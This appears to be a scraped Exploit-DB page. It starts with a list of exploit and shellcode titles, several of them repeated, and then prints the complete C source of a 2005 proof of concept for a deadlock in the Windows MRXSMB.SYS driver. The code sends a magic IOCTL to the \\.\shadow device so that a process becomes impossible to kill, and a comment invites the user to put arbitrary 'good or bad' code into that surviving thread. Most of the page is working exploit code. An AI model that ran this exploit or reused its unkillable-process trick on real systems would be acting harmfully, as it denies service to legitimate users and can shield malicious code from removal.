
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
110 lines
No EOL
3 KiB
C
110 lines
No EOL
3 KiB
C
// source: https://www.securityfocus.com/bid/18357/info
|
||
|
||
The Microsoft SMB driver is prone to a local denial-of-service vulnerability.
|
||
|
||
A local attacker can exploit this issue to create processes that cannot be killed in affected operating systems, potentially denying service to legitimate users and other software on affected computers. This may aid the attacker in further attacks.
|
||
|
||
////////////////////////////////////////////////////////////////////////////////
|
||
///////// MRXSMB.SYS NtClose DEADLOCK exploit///////////////////////////////////
|
||
////////////////////////////////////////////////////////////////////////////////
|
||
//November 19,2005
|
||
////////////////////////////////////////////////////////////////////////////////
|
||
////////////////////////////////////////////////////////////////////////////////
|
||
//ONLY FOR EDUCATION PURPOSES
|
||
////////////////////////////////////////////////////////////////////////////////
|
||
// Rub<75>n Santamarta
|
||
// ruben (at) reversemode (dot) com
|
||
// http://www.reversemode.com
|
||
////////////////////////////////////////////////////////////////////////////////
|
||
|
||
#include <windows.h>
|
||
#include <stdio.h>
|
||
|
||
|
||
#define MAGIC_IOCTL 0x141047
|
||
|
||
|
||
VOID ShowError()
|
||
{
|
||
LPVOID lpMsgBuf;
|
||
FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER| FORMAT_MESSAGE_FROM_SYSTEM,
|
||
NULL,
|
||
GetLastError(),
|
||
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
|
||
(LPTSTR) &lpMsgBuf,
|
||
0,
|
||
NULL);
|
||
MessageBoxA(0,(LPTSTR)lpMsgBuf,"Error",0);
|
||
exit(1);
|
||
}
|
||
|
||
|
||
VOID IamAlive()
|
||
{
|
||
DWORD i;
|
||
|
||
for(i=0;i<0x1000;i++)
|
||
{
|
||
Sleep(1000);
|
||
printf("\rI am a Thread and I am alive [%x]",i);
|
||
}
|
||
|
||
}
|
||
|
||
|
||
VOID KillMySelf()
|
||
{
|
||
|
||
DWORD junk;
|
||
DWORD *OutBuff;
|
||
DWORD *InBuff;
|
||
BOOL bResult;
|
||
HANDLE hDevice;
|
||
DWORD i;
|
||
|
||
hDevice = CreateFile("\\\\.\\shadow", FILE_EXECUTE,FILE_SHARE_READ|FILE_SHARE_WRITE,
|
||
NULL, OPEN_EXISTING, 0, NULL);
|
||
|
||
if (hDevice == INVALID_HANDLE_VALUE) ShowError();
|
||
|
||
OutBuff=(DWORD*)malloc(0x18);
|
||
if(!OutBuff) ShowError();
|
||
|
||
OutBuff[3]=(DWORD)hDevice;
|
||
|
||
DeviceIoControl(hDevice,
|
||
MAGIC_IOCTL,
|
||
0,0,
|
||
OutBuff,0x18,
|
||
&junk,
|
||
(LPOVERLAPPED)NULL);
|
||
// MAIN THREAD ENDING.
|
||
}
|
||
|
||
|
||
int main(int argc, char *argv[])
|
||
{
|
||
|
||
LPTHREAD_START_ROUTINE GoodThread;
|
||
DWORD dwThreadId;
|
||
DWORD bResult;
|
||
GoodThread=(LPTHREAD_START_ROUTINE)IamAlive;
|
||
|
||
|
||
printf("-=[MRXSMB.SYS NtClose Vulnerability POC]=-\n");
|
||
printf("\t(Only for educational purposes)\n");
|
||
printf("..http://www.reversemode.com..\n\n");
|
||
printf("Launching Thread ...");
|
||
|
||
// PUT YOUR "GOOD" OR "BAD" CODE HERE
|
||
// e.g GoodThread
|
||
CreateThread(NULL,0,GoodThread,0,0,&dwThreadId);
|
||
|
||
|
||
printf("Done\n");
|
||
printf("I am going to dissapear,but I will be with you forever\n");
|
||
printf("(..)\n\n");
|
||
KillMySelf(); // Immortal mode "on" ;)
|
||
|
||
return(1);
|
||
} |